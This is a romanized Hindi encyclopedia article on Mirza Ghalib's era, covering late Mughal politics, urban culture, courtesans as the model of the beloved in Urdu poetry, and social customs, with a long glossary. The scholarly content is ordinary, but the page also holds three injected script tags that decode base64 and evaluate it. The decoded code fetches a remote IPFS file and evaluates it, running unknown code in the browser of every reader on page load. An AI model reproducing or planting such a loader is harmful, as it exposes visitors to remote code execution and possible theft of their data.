ग़ालिब का दौर

भारत डिस्कवरी प्रस्तुति
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galib vishay soochi
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thumb|galib|250px galib ka daur (urdoo bhasha aur devanagari lipi mean)

mirza asad ullah khaan ‘galib’ 27 sitambar, 1797 ko paida hue. sitambar, 1796 mean ek fraansisi, parroan, jo apani qismat azamane hindustan aya tha, daulat rav siandhiya ki shahi fauj ka sipahasalar bana diya gaya. is haisiyat se vah hindustan ka gavarnar bhi tha. usane dilli ka muhasara karake[1] use fatah[2] kar liya aur apane ek kamaandar, le marashaan ko shahar ka gavarnar aur shah alak ka muhafij[3] muqarrar[4] kiya. usake bad usane agara par qabza kar liya. ab shumali[5] hindustan mean usake muqabale ka koee bhi nahian tha aur usaki humoomat ek ilaqe par thi, jisaki salana malaguzari[6] das lakh paund se zyada thi. vah aligadh ke qarib ek mahal mean shahana[7] shanau-shaukat[8] se rahata tha. yahian se vah rajaoan aur navaboan ke nam ahakamat[9] jari karata aur bagair kisi madakhalat[10] ke chanbal se sataluj tak apana hukm chalata tha.

15 sitambar, 1803 ee. ko janaral lek siandhiya ke ek saradar borgi ee ko shikast[11] dekar fatehana[12] aandaz se dakhil hua. borgi ee ka kuchh arse tak shahar par qabza rah chuka tha aur usane ise aangrezoan ke lie khali karane se pahale bahut ehatemam[13] se loota tha. janaral lek shahanshah k khidamat mean hazir hua, use b de-b de khitab[14] die ge aur shahalam aur usake ja-nashin[15] eest indiya kampani ke vazifa-khvar[16] ho ge. atthaharavian sadi ka doosara hissa vah zamana tha, jab yoorop se sipahi aur tajir[17] hindustan mean apani qismat ajamane ae aur unhoanne khoob hangame kie. isake muqabale mean bast[18] eshiya se mauqe aur mash[19] ki talash mean ane valoan ki tadad kam thi, magar tho de-bahut ate hi rahe. inhian mean se ek mirza qoqan beg, muhammad shahi daur ke akhir mean samarakand se ae aur lahaur mean mueen-ul-mulk ke yahaan mulazim[20] hue. unake bare mean hamean kam hi maloom hai. unake do l dake the, mirza galib ke valid[21] abdullah beg aur nasr ullah beg. abdulla beg ko sipagahari[22] ke peshe mean koee khas kamayabi prapt nahian huee. pahale vah asif uddaula ki fauj mean mulazim hue, phir haidarabad mean aur phir alavar ke raja bakhtavar sianh ke yahaan. beshatar[23] vaqt unhoanne ‘khana damad’[24] ki haisiyat se guzara. sanh 1802 ee. mean vah ek l daee mean kam ae, jab galib ki umr paanch sal ki thi. unase sabase qaribi[25] aziz, [26] loharoo ke navab, bhi turkistan se ae hue khanadan ke the aur unake jadde-ala[27] bhi usi zamane mean hindustan ae the, jis vaqt mirza qoqam beg ae the. thumb|mirza galib|left

mushkil halat

aise halat, jabaki nizame-zindagi[28] ke qayam rahane ka aitabar[29] aur niraj[30] aur tasaddud[31] ka daur ho, jab maloom hota ho ki sab kuchh chand[32] jaanbazoan[33] ke hath mean haian, asar dalate haian aur mustaqil[34] mayoosi[35] ki fija[36] paida kar dete haian. vaise bhi hassas[37] tabiatan khushi se zyada dard aur gam ki taraf mail[38] rahati hai. galib ki zindagi ka pase-manzar[39] mugal saltanat ka zaval[40], dehati saradaroan ka ubharana aur iqtidar[41] hasil karane ke lie unake musalasal[42] muqabile hai, agar inhean kuchh khas ahamiyat[43] nahian di ja sakati. hindustan mean siyasi[44] zindagi ka dayara vistrit nahian tha. namak-halali ki qadr ki jati thi, lekin siyasi vafadari ko amataur par ek akhlaqi[45] usool[46] nahian mana jata tha. riaya[47] ke khair-khvah[48] hakim[49] amn[50] aur itminan[51] qayam rakhane ki apane bas bhar koshish karate the. magar dehati abadi mean aise anasir [52] the, jo ki mauqa pate hi rahazani[53] shuroo kar dete.

ham agar aandaz karana chahean ki shumali[54] hindustan ki mushtarik[55] shahari tahazib[56] aur us adab[57] par, jo us tahazib ka turjuman[58] tha, kya-kya asarat[59] p de, to ham dekheange ki usaki tashakil[60] mean bartanavi[61] tasallut[62] se pahale ki badanazmi[63] se zyada dakhl[64] un adatoan aur un tasavvurat[65] ko tha, jo sadiyoan se us tahazib ko ek khas shakl[66] de rahe the. us mushtarik shahari tahazib ko shahari hone aur shahari rahane ki zid thi. usake nazadik shahar ki vahi haisiyat thi, jo sahara[67] mean nakhalistan[68] ki, shahar ki fasil[69]goya[70] tahazib ko us barabariyat[71] se bachati thi, jo use charo taraf se ghere hue thi. zindagi sirf shahar mean mumakin[72] thi, aur jitana b da shahar utani hi mukammal[73] zindagi.

shahar aur dehat

yah ho sakata tha ki ishq aur divanagi mean koee shahar se bahar nikal jae, qudarat[74] se qarib hone ke shauq mean shayad hi koee aisa karata, isalie ki yah mani huee bat thi ki qudarat ki takamil[75] shahar mean hoti hai aur shahar ke bahar qudarat ki koee jani-pahachani shakl nazar nahian ati. shahar mean bag ho sakate the aur phooloan ke hujoom,[76] sarv[77] ki qataroan ke daramiyan[78] khiramenaz[79] ke lie ravishean, [80] pattiyoan aur pankhu diyoan par motiyoan ki si shabanam[81] ki booandean, yahaan bade-saba[82] chal sakati thi. bulabalean gulaboan ko apane nagmean[83] suna sakati thian. qafas[84] ke giraftar azadi se lutf[85] uthate hue parindoan par rashq[86] kar sakate the. thumb|250px|mirza galib

ashiyanoan[87] par bijaliyaan gir sakati thian. be-shak shair ka tasavvur[88] tashabihoan[89] aur istaroan[90] ki talash mean shahar se bahar jane par majaboor tha, jinaki misal[91] qafile aur karavaan aur mazilean, toofanoan se dilerana muqabile, dasht[92] sahara, samandar aur sahil[93] the. lekin istaroan ki ifarat[94] bhi shahar hi ke andar thi. mayakhana, saqi, sharab, jahid, [95] vaiz,[96] kooch-e-yar,[97] daraban, divar, sahara lekar baithane ya sar pho dane ke lie, vah bam[98] jis par mashook ittafaq[99] se ya jalv:gari[100] ke irade se namoodar[101] ho sakata tha, vah bazar jahaan ashiq rusvaee[102] ki talash mean ja sakata tha ya jahaan dar[103] par chadhane ke manzar[104] use dikha sakate the ki mashook ki sangadili[105] use kahaan tak pahuancha sakati hai. shaharoan hi mean mahafilean ho sakati thian, jisako shamme raushan[106] karatian aur jahaan paravane shole par fida hote, jahaan ashiq aur mashooq ki mulaqat hoti. ham shaharoan par isaka ilzam[107] nahian rakh sakate ki unhoanne shahar ko yah ahamiyat de di,shahar aur dehat ki beganigi sadiyoan se chali a rahi thi, ye goya hindustan ke do mutazad[108] hisse the.

pabandiyaan

mulk ki taqasim[109] isi ek nahaj[110] par nahian thi. badashah, umara[111] sipahasalar iqatidar[112] ki kashamakash[113] mean mubtila[114] the, ek jue ke khel mean jahaan har ek himmat, mauqa aur apani maslehat[115] ke lahahaz se[116] bazi lagata, baqi abadi ko bas apani salamati[117] ki fikr thi. zamir[118] aur akhlaki[119] usool bahas mean nahian ate the. bazi harana aur jitana qismat ki bat thi. am mafad[120] ka koee tasavvur tha bhi to vah zati[121] agaraz[122] ki ganjalaq[123] mean kho jata aur agar koee am mafad ko mahasoos karata aur use bayan karana chahata to use dini[124] aur fiqahi[125] istalahoan[126] ka sahara lena p data, jisaka lazami[127] natija yah hota ki ek mazahabi bahas kh di ho jati. shah ismail shahid ki tasanif[128] mean jahaan kahian siyasi masail[129] mozoo-e-bahas[130] hai, vahaan ham dekhate haian ki ek nekaniyat iansan, jisaki khvahish yah thi ki hukoomat ki buniyad adal[131] par ho sirf apane gam aur gusse ka izahar[132] koee vazih[133] aur mudallal[134] bat kahana mumakin hi nahian tha. shair ko ikhtiyar tha ki ahale-daulato-sarvat[135] ki shan mean qaside[136] likhe ya tavakkul[137] par daraveshoan ki si zindagi guzare. kisi murabbi[138] par bharosa karane se ala[139] meyar[140] ki shayari karane mean rukavat paida nahian hoti thi. murabbi ka ehasan manana ek rasmi[141] bat thi, ishq aur vafadari ka mustahaq[142] sirf mashook tha, aur shair apani tarif bhi jis aandaz se chahata kar sakata tha. agar vah kisi had tak bhi nam paida karata to usaka shumar muntakhab[143] logoan mean hota aur usaki duniya muntakhab logoan ki duniya hoti thi.thumb|galib|left|250px

ek aur taqasim ‘azad’ yani sharif mardoan aur auratoan ki thi. amataur par logoan ko aandesha[144] tha ki dekhane se guftagoo[145] aur guftagoo se badan chhoone tak bat pahuanchati hai, aur badan chhoone ka natija yah ho sakata tha ki donoan fariq[146] beqaboo ho jaean. is aandeshe ne ek rasm banakar azad na-maharam[147] mardoan-auratoan ko sakhti ke sath ek-doosare se alag kar diya gaya. isi vajah se azad auratoan ke bare mean likhana unhean zaban aur adab ki aankhoan se dekhane ke barabar aur isilie na-munasib[148] qarar diya gaya.[149] ishq se murad[150] mard-aurat ki vah muhabbat nahian thi, jisaka maqasad[151] rafike-hayat[152] banana ho, aur is bina[153] par shair yah zahir nahian kar sakata tha ki usaka mashook mard hai ya aurat. mashooq ke chehare aur kamar ka zikr kiya ja sakata tha. isake alava usake jism ke bare mean kuchh kahana behoodagi mean shumar hota tha, agarache[154] aise daure bhi guzare haian jab bayan mean uyani[155] vaz:[156] ke khilaf nahian samajhi jati thi. lekin qayade ki pabandi ka matalab yah nahian tha ki aurat vujood[157] ko hi nazaraandaz[158] kiya gaya. un misaloan ko chho dakar jahaan eerani rivayat[159] ki pairavi mean mashooq ko amarad[160] mana gaya hai, yah saf zahir ho jata hai ki urdoo ke shair ka ‘mashooq’ aurat hai. alabatta is bat ka pata usake taur-tariqe, nazo-aandaz se chalata hai, jismani[161] tafasilat[162] se nahian, aur pase-manzar ghar nahian hai, balki tavaif[163] ki bazm[164].

kothe aur tavaifean

‘muraqq:[165]-e-dehali’ se, jo 1739 ee. ki tasanif[166] hai, maloom hota hai ki tavaifean kis darja[167] shahar ki tahazibi[168] aur samaji zindagi par havi[169] thian. lakhanoo aur doosare b de shaharoan ki halat vahi hogi, jo ki dehali ki. shah ismaeel shahid ke bare mean ek qissa hai ki, unhoanne bahut-si auratoan ki toliyoan ko, jo bahut arasta-pairasta[170] thian, raste par se guzarate dekha. darayaft[171] karane par maloom hua ki ve tavaifean haian aur kisi mumataz[172] tavaif ke yahaan taqarib[173] shirakat[174] ke lie ja rahi haian. shah sahab ne unhean ‘rah:-e-rast’[175] par chalane ki taragib[176] dilane ke lie ise ek bahut achchha mauqa samajha aur faqir ka bhes banakar us makan ke andar pahuanch ge jahaan tavaifean jama ho rahi thian. unaki shakhsiyat[177] mean b da vaqar[178] tha aur agarache unhean islah[179] ka kam shuroo kie zyada arsa nahian hua tha. sahibe-khan:[180] ne unhean fauran pahachan liya. usake saval ke javab mean ki vah kaise tasharif lae hai, shah sahab ne quran ki ek ayat[181] padhi aur ek vaz[182] kaha, jisako sunakar tavaifean abadid:[183] ho geean. nadamat[184] se aansoo bahana tavaifoan ki tahazib mean shamil tha, agarache nijat[185] ki khatir pesha tark kar dena[186] qabile-tarif[187] magar khilafe-mamool[188] samajha jata tha. tavaifean apane khas qayadoan aur rasmoan ke mutabiq़[189] zindagi basar karati thian aur agar ek taraf unaka pesha bahut gira hua mana jata tha to doosari taraf baz[190] aitabar se[191] is nuqasan ki kuchh talafi[192] bhi ho jati thi.

vah bazm, jisaka urdoo shairi mean itana zikr ata hai, dostoan ki mahafil nahian hoti thi. log kisi mezaban ki davat[193] par jama nahian hote the, n tahazibi mashagil[194] ke lie am iztama[195] hota tha. aisi mahafiloan mean mashooq aur raqib[196] aur gair[197] ka kya kam hota, magar tavaif ki bazm mean yah sab mumakin tha. galib ne ye sher kahe to aisi bazm unaki nazar mean hogi-

maianne kaha ki bazme-naz[198] chahie gair se tahi[199]
sunakar sitam-zarif[200] ne mujhako utha diya ki yooan
haan vo nahian khuda-parast[201] jao vo bevafa sahi
jisako ho dino-dil aziz[202] usaki gali mean jaean kyoan.

thumb|galib (chitrakar- em.eph. husain)|250px

ham jitana un sooratoan par gaur karean, jinamean ki mashooq ek aurat hai aur dekhean ki vah ashiq ke sath kya bartav karati hai, utana hi yah vazah[203] ho jata hai ki is shairana istar:[204] se murad kya hai aur utana hi saf bazm ka naqsha ho jata hai. isaka haragiz yah matalab nahian hai ki vo tamam shair jo mashooq ki bazm ka zikr karate haian, tavaifoan ki bazm mean sharik[205] hote the, jaise sharab aur mayakhana ka zikr karane ka yah matalab nahian hai ki vo sharab ki dukan par baithakar tharra chalate the. magar isamean shak nahian ki shahar mean lauandiyoan aur khadimaoan[206] aur mazadoor paisha auratoan ke alava sirf tavaifean be-naqab[207] nazar ati thian. nazo-ada dikhane, talkh[208] aur shirian[209] guftagoo karane, lutf aur sitam se pesh ane ka mauqa unhian ko tha. unhean nach aur gane ke alava guftagoo ka fan[210] sikhaya jata tha aur tavaifoan ki bazm hi ek aisi jagah thi, jahaan mard be-takallufi[211] aur azadi ke sath rangin guftagoo, fiqarebazi aur hazir javabi mean apana kamal dikha sakate the. b di khanadani taqariboan[212] tavaifoan ka nach gana karana khushahal gharanoan ka dastoor[213] tha, aur jo log ‘bazm’ mean shirakat karana pasand n karate, ve aise mauqoan par guftagoo ke fan mean apana hunar dikha sakate the. sharifoan aur tavaifoan ke yak-ja[214] hone ke mauqe urs faraham[215] karate the, jinamean se aksar mean tavaifoan ko shariqahone ki ijazat thi. ab ham khud hi soch sakate haian ki mashooq ki tastirean kis buniyadi aks[216] ko samane rakhakar banaee gee hogi, aur aisi aurat kaun ho sakati thi, jisaka koee khanadan n ho, talluqat[217] aur zimmedariyaan n hoan aur jo is vajah se ek vujoode-mahaz[218] ek khalis[219] jamaliyati[220] tasavvur[221] mean tabdil ki ja sake. thumb|mirza galib|left unnisavian sadi ke nisf-akhir[222] ki jahani qaifiyat[223] aur islah ki mukhlisana[224] koshishoan ne is haqikat[225] par parda dal diya hai. doosari taraf parasa mizaz[226] aur haya-zada[227] log is par musir[228] rahe ki mayakhana aur sharab ki tarah mashooq bhi ek alamat[229], ek istar: hai, jise majazi[230] kasafatoan[231] se koee nisvat[232] nahian. unhean apane zid poori karane mean koee dushvari[233] nahian hoti. isalie ki soofiyana[234] shairi ki rivayat[235] ne tamam kaifiyatoan[236] ko, aur khasataur se asiqo-mashooq ke rishte ko ek roohani[237] haqiqat ka aks mana jata hai. lekin is vajah ne hamare zamane ke naqqad[238] kyoan samaji halat ko nazaraandaz karean aur kyoan shahar ko is ilzam se n bachaean ki usaka mashooq bilkul farji[239], usaka ishq mahaj dhoka aur ehasasat[240] khalis tamanna[241] haian.

palaki ki savari

ab kuchh samaji halat ko dekhie, jinaka adab par aks p da. shaharoan mean sharifoan ke lie paidal chalana dastoor n tha. kisi qism ki savari par ana-jana lazimi tha. gho de-ga di ka rivaj aangrezoan ki vajah se hua, gho de ki savari lambe safar par ki jati, shahar ke andar isaka rivaj n tha. am savari kisi qism ki palaki thi. isaka natija yah tha ki koee haisiyat vala akela tahal nahian sakata tha. raste mean kh de hokar logoan ko apane kam se ate-jate nahian dekh sakata tha, sehat[242] ki khatir bhi paidal sair nahian kar sakata tha. avam[243] ghul-mil nahian sakata tha. avam mean ghulane-milane ka aur koee imkan[244] nahian tha. sharee[245] qanoon ke mutabiq़ sab iansan barabar the aur is qanoon ko manane se kisi ne bhi inkar nahian kiya. lekin qanoon ne isaka hukm nahian diya tha ki log ala[246] aur adana[247], amir aur garib ke farq ko nazaraandaz karake vajah se mukhtalif[248] tabqe[249] alag rahate the, sakhti se amal kiya jata tha. mumakin hai ki yah jatoan ki taqasim[250] ke in qayadoan ke vujood[251] se inkar nahian kiya ja sakata. inaki vajah se shair avam se alag aur shairi ke avam ke zazbat[252] se door rahi. sirf nazir akabaravadi ne shairi ko is karantin: [253] se nikala aur unake kalam ka husn[254] aur usaki rangini isaki shahadat[255] deti hai ki urdoo shairi ne samaji pabandi ka lihaz karake apane apako bahut-si varadate-qalbi[256] se maharoom[257] rakha. lekin nazir akabaravadi ke tariqe ko shairoan aur naqqadoan[258] ne pasand nahian kiya, aur unake ham-asr[259] logoan par unake kalam ka asar nahian hua. thumb|galib haveli ka aangan|250px

is tarah shair ke ehasasat[260] ka talluk[261] usaki zat[262] se hi raha, usaki kaifiyatean[263] samaj ki khushi aur ranj se alag aur mukhtalif[264] safar ka rivaj bhi iansanoan ko ek-doosare ke qarib lane ka zariya[265] hai. lekin yah bhi samaj mean rabt[266] paida n kar saka. safar karana mushkil tha, log shahar se bahar nikalane se ghabarate the. ‘galib’ ka ek farasi ka sher hai-agar b-dil[267] n khalad[268] har che[269] dar nazar[270] guzarad[271]khusha[272] ravani-e-umre[273] ki dar safar[274] guzarad lekin darasal vah safar ki zahamatoan[275] se bachana chahate the. kalakatta jate hue unhean jo lutf[276] aya vah mulakaloan aur suhabatoan[277] ka lutf tha, ya phir naya shahar dekhane ka. banaras aur kalakatta donoan hi unhoanne farasi ki masnaviyoan mean bahut tariraf ki hai.

rasmo rivaj aur haisiyat

qanoon aur rasmo-rivaj donoan har fard[278] ko samaj aur us jamat[279] ka, jisaka vah rukan[280] hota, matahat[281] aur paband rakhate the. shayad isi se rihaee[282] hasil karane ke lie hassas[283] afarad[284] dilo-dimag ki tanhaee[285] mean apani zindagi alag banate the. isake alava us daur mean alag-alag jahani[286] khanoan mean band hokar sochane aur amal[287] karane ki ek ajibo-garib kaifiyat thi. shair ko un siyasi[288] tabdiliyoan[289] se, jinaka shuroo mean zikr kiya gaya, is qadr kam vasta[290] tha ki gauya[291] shairi aur siyasi zindagi mean koee lazimi[292] aur qudarati[293] talluq nahian. ‘galib’ ne apani ek farasi ki masnavi mean vujoodiyoan[294] aur shahoodiyoan[295] ke ikhtalafat[296] ka zikr kiya hai. magar isake bavajood yah kahana galat nahian hai ki us daur ki islahi[297] tahariroan[298] ka, jinaki rahanumaee[299] saiyad ahamad shahid aur shah ismail shahid jaise buzurg kar rahe the. shairi par koee khas asar nahian p da. ‘galib’ ne jahaan kahian zahid[300] aur vaiz[301] ka zikr kiya hai. usase murad[302] rivayati[303] zahid aur vaiz haian. unake apane zamane ke log nahian haian.

ishq, ashiq aur mashooq

khud galat ka tarj[304] khanoan mean band hokar sochane ki ek numayaan[305] misal hai ki gazal ke har sher ka alag maujoo[306] hota hai aur usaka pichhale aur bad ke sher se koee talluq nahian hota. beshak gazaloan mean bhi kabhi-kabhi khayal ka tasalsul[307] milata hai aur kat:band ki bhi mumaniyat[308] nahian thi, lekin munasib[309] yah tha ki har sher ka mazamoon[310] alag ho. maloom hota hai ki ‘galib’ ke daur mean shair ke siyasat,[311] samaj aur mazahab[312] ke muamalat[313] se alag rahane ka asal sabab[314] yah tha ki zindagi ka mukhtalif khanoan mean taqasim[315] hona amataur par taslim[316] kar liya gaya tha. shaharoan mean in-faradiyat[317] ko faraug[318] vahadat-ul-bujood[319] ke nazariye[320] ki vajah se bhi hua. is nazarie ke mutabiq़[321] iansan aur usake khaliq[322] ke daramiyan b-rahe rast[323] talluq ho sakata tha. kisi vasile[324] ki zaroorat nahian thi. is tarah shair aqide[325] aur amal ke muamalat mean khud phaisala karane ka ikhtiyar[326] rakhata tha, aur samaj se alag hokar vah apani infaradiyat ka jo tasavvur[327] chahata qayam kar sakata tha. apani zindagi ka alag nasb-ul-ain[328] muqarrar karake chahata to kah sakata tha ki ishq, ashiq aur mashooq ke siva jo kuchh hai, sab hech[329] hai.


left|30px|link=galib ka vyaktitv|pichhe jaean galib ka daur right|30px|link=galib ki rachanaean|age jaean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ gherakar
  2. ↑ jit
  3. ↑ rakshak
  4. ↑ niyukt
  5. ↑ uttari
  6. ↑ bhoomikar
  7. ↑ rajasi
  8. ↑ that-bat
  9. ↑ adesh
  10. ↑ rok-tok
  11. ↑ parajay
  12. ↑ vijayi, vijeta
  13. ↑ ayojan
  14. ↑ upadhiyaan, alankaran
  15. ↑ uttaradhikari
  16. ↑ vazifa pane vale
  17. ↑ vyapari
  18. ↑ madhy
  19. ↑ jivika
  20. ↑ naukar
  21. ↑ pita
  22. ↑ sipahigiri
  23. ↑ adhikaansh
  24. ↑ gharajavaanee
  25. ↑ nikat ke
  26. ↑ priy vyakti
  27. ↑ poorvaj
  28. ↑ jivan vyavastha
  29. ↑ vishvas
  30. ↑ vyavastha
  31. ↑ hiansa
  32. ↑ kuchh
  33. ↑ jan par khel jane vale, l dakoo
  34. ↑ sthayi
  35. ↑ nirasha
  36. ↑ vatavaran
  37. ↑ sanvedanashil
  38. ↑ pravritt
  39. ↑ prishthabhoomi
  40. ↑ patan
  41. ↑ sattadhikar, prabhutv
  42. ↑ nirantar
  43. ↑ mahatv
  44. ↑ rajanitik
  45. ↑ naitik
  46. ↑ siddhaant
  47. ↑ praja
  48. ↑ shubh-chintak
  49. ↑ adhikari
  50. ↑ shaanti
  51. ↑ santosh, vishvas
  52. ↑ tattv
  53. ↑ daka dalan
  54. ↑ uttari
  55. ↑ mili-juli, sajhe ki
  56. ↑ sabhyata, sanskriti
  57. ↑ sahity
  58. ↑ pravakta
  59. ↑ prabhav
  60. ↑ niroopan
  61. ↑ british
  62. ↑ satta
  63. ↑ durvyavastha
  64. ↑ adhikar, hastakshep
  65. ↑ manyataoan, vicharoan
  66. ↑ roop
  67. ↑ marusthal, registan
  68. ↑ marudvip
  69. ↑ parakota
  70. ↑ mano, jaise ki
  71. ↑ pashuta
  72. ↑ sambhav
  73. ↑ poorn
  74. ↑ prakriti
  75. ↑ poornata
  76. ↑ bhi d
  77. ↑ saro vriksh
  78. ↑ madhy
  79. ↑ sair (preyasi ki manthar gati
  80. ↑ badh
  81. ↑ os
  82. ↑ prat: samir
  83. ↑ git
  84. ↑ pianjara
  85. ↑ anand
  86. ↑ eershya
  87. ↑ ghoansaloan
  88. ↑ kalpana
  89. ↑ upamanoan
  90. ↑ roopakoan
  91. ↑ udaharan
  92. ↑ jangal
  93. ↑ kinara
  94. ↑ adhiky
  95. ↑ dharmabhiru
  96. ↑ upadeshak
  97. ↑ premika ki gali
  98. ↑ muander
  99. ↑ sanyog
  100. ↑ roop-sauandary dikhane, darshan dene
  101. ↑ prakat
  102. ↑ badanami
  103. ↑ sooli
  104. ↑ drishy
  105. ↑ kathor hridayata
  106. ↑ prakashit
  107. ↑ arop
  108. ↑ pratikool
  109. ↑ vibhajan
  110. ↑ dhang
  111. ↑ amir ka bahuvachan
  112. ↑ sattadhikari
  113. ↑ sangharsh
  114. ↑ vyast
  115. ↑ svarth, hit
  116. ↑ drishti se
  117. ↑ kushal-kshem, suraksha
  118. ↑ antaratma
  119. ↑ naitik
  120. ↑ labh
  121. ↑ vyaktigat
  122. ↑ svarth, garz ka bahuvachan
  123. ↑ ulajhan
  124. ↑ dharmik
  125. ↑ dharmashastriy
  126. ↑ paribhashik shabdavali
  127. ↑ anivary
  128. ↑ granthoan, rachanaoan
  129. ↑ samasyaean
  130. ↑ vivad ka vishay
  131. ↑ nyay
  132. ↑ abhivyakti kar sakata tha.
  133. ↑ spasht
  134. ↑ tark-sangat
  135. ↑ dhanadhy aur samriddh log
  136. ↑ pranshasa-kavy
  137. ↑ allah ke bharose
  138. ↑ sanrakshak, abhibhavak
  139. ↑ ooancha, shreshth
  140. ↑ adarsh
  141. ↑ parampara
  142. ↑ adhikari
  143. ↑ chune hue
  144. ↑ ashanka
  145. ↑ vartalap
  146. ↑ paksh
  147. ↑ aparichit
  148. ↑ anuchit
  149. ↑ thahara diya gaya
  150. ↑ ashay, arth
  151. ↑ uddeshy
  152. ↑ jivan sathi
  153. ↑ adhar
  154. ↑ halaanki
  155. ↑ nagnata
  156. ↑ riti, pranali
  157. ↑ astitv
  158. ↑ upekshit, upeksha
  159. ↑ parampara
  160. ↑ vah l daka jisake abhi dadhi mooanchh nahian aee ho
  161. ↑ sharirik
  162. ↑ vivaran
  163. ↑ veshya
  164. ↑ mahafil
  165. ↑ vah granth jisamean lekhan kala ke sundar namoone ya chitr sangrahit hoan
  166. ↑ rachana
  167. ↑ kis sima tak
  168. ↑ saanskritik
  169. ↑ chhaee huee
  170. ↑ saji-dhaji
  171. ↑ poochh-tachh
  172. ↑ lokapriy
  173. ↑ ayojan
  174. ↑ bhag lene, sammilit hone
  175. ↑ sidhi rah
  176. ↑ pralobhan, akarshan
  177. ↑ vyaktitv
  178. ↑ vaibhav
  179. ↑ sudhar
  180. ↑ mezaban, athitey, grih svami
  181. ↑ vaky
  182. ↑ pravachan
  183. ↑ aankhean bhar laeean
  184. ↑ lajja, pashchatap
  185. ↑ mukti
  186. ↑ chho d dena
  187. ↑ pravachan
  188. ↑ samany acharan ke pratikool
  189. ↑ anusar
  190. ↑ kuchh
  191. ↑ drishtiyoan se
  192. ↑ kshatipoorti
  193. ↑ amantran
  194. ↑ karyoan
  195. ↑ sabha, sammelan
  196. ↑ pratidvandvi
  197. ↑ paraya
  198. ↑ premika ki mahafil
  199. ↑ khali
  200. ↑ vinod-vinod mean satane vala
  201. ↑ khuda-bhakt
  202. ↑ pyara, priy
  203. ↑ spasht
  204. ↑ roopak
  205. ↑ sammilit
  206. ↑ sevikaoan
  207. ↑ beparda
  208. ↑ k davi
  209. ↑ mithi
  210. ↑ kala
  211. ↑ anaupacharik
  212. ↑ utsav ayojan
  213. ↑ chalan
  214. ↑ ek sthan par
  215. ↑ upalabdh
  216. ↑ pratibimb
  217. ↑ sambandh
  218. ↑ astitv matr
  219. ↑ shuddh
  220. ↑ sauandary shastriy
  221. ↑ kalpana
  222. ↑ uttarardh
  223. ↑ manasik sthiti, manodasha
  224. ↑ sauhardapoorn
  225. ↑ vastavikata
  226. ↑ dharmanishth
  227. ↑ lok laj ke mare hue
  228. ↑ agrahi
  229. ↑ pratik
  230. ↑ laukik
  231. ↑ vikaroan
  232. ↑ sambandh
  233. ↑ kathinaee
  234. ↑ soophiyoan (saansarik mohoan se mukt eeshvar ki sadhana mean lage hue log)-jaisi
  235. ↑ paramparaoan
  236. ↑ sthiti
  237. ↑ adhyatmik
  238. ↑ alochak
  239. ↑ kritrim
  240. ↑ anubhootiyaan
  241. ↑ banavati
  242. ↑ svasthy
  243. ↑ janata, sadharan log
  244. ↑ sambhavana
  245. ↑ islam dharm ke
  246. ↑ uchch
  247. ↑ sadharan, tuchchh
  248. ↑ vibhinn
  249. ↑ varg
  250. ↑ vibhajan
  251. ↑ astitv
  252. ↑ bhavoan, bhavanoan
  253. ↑ dayara
  254. ↑ sauandary
  255. ↑ sakshi, gavahi
  256. ↑ hardik ghatanaean
  257. ↑ vanchit
  258. ↑ alochakoan
  259. ↑ samakalin
  260. ↑ bhavanaoan
  261. ↑ sambandh
  262. ↑ nij se, sharir se
  263. ↑ sthiti
  264. ↑ bhinn rahian.
  265. ↑ madhyam
  266. ↑ sampark
  267. ↑ dil mean
  268. ↑ n chubhe
  269. ↑ jo kuchh
  270. ↑ nazar mean
  271. ↑ guzare
  272. ↑ kitana achchha hai
  273. ↑ umr ki ravani
  274. ↑ safar mean
  275. ↑ kashtoan
  276. ↑ anand
  277. ↑ sang-sath
  278. ↑ vyakti
  279. ↑ samooday, varg
  280. ↑ sadasy
  281. ↑ adhin
  282. ↑ mukti
  283. ↑ sanvedan, shil
  284. ↑ vyakti (fard ka bahuvachan
  285. ↑ ekant
  286. ↑ manasik
  287. ↑ acharan
  288. ↑ rajanitik
  289. ↑ parivartan
  290. ↑ sambandh
  291. ↑ mano
  292. ↑ anivary
  293. ↑ prakritik, svabhavik
  294. ↑ astitvavadi soofi
  295. ↑ sakshyavadi soofi
  296. ↑ matabhed
  297. ↑ sudharak, sudharakavadi
  298. ↑ andolan
  299. ↑ path-pradarshan
  300. ↑ eeshvar bhakt, khudaparast
  301. ↑ dharmopadeshak
  302. ↑ ashay
  303. ↑ paramparik
  304. ↑ shaili
  305. ↑ prakat, khula
  306. ↑ vishay
  307. ↑ nirantarata
  308. ↑ varzana
  309. ↑ uchit
  310. ↑ vishay
  311. ↑ rajaniti
  312. ↑ dharm
  313. ↑ mamaloan
  314. ↑ karan
  315. ↑ vibhajan
  316. ↑ svikar
  317. ↑ vyaktitvavad
  318. ↑ protsahan
  319. ↑ advaitavad
  320. ↑ vicharadhara, drishtikon
  321. ↑ anusar
  322. ↑ srashta
  323. ↑ sidha
  324. ↑ madhyam
  325. ↑ dridh vishvas, astha
  326. ↑ adhikar
  327. ↑ vichar, kalpana
  328. ↑ uddeshy, lakshy
  329. ↑ tuchchh

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bahari k diyaan

sanbandhit lekh

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adi kal
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a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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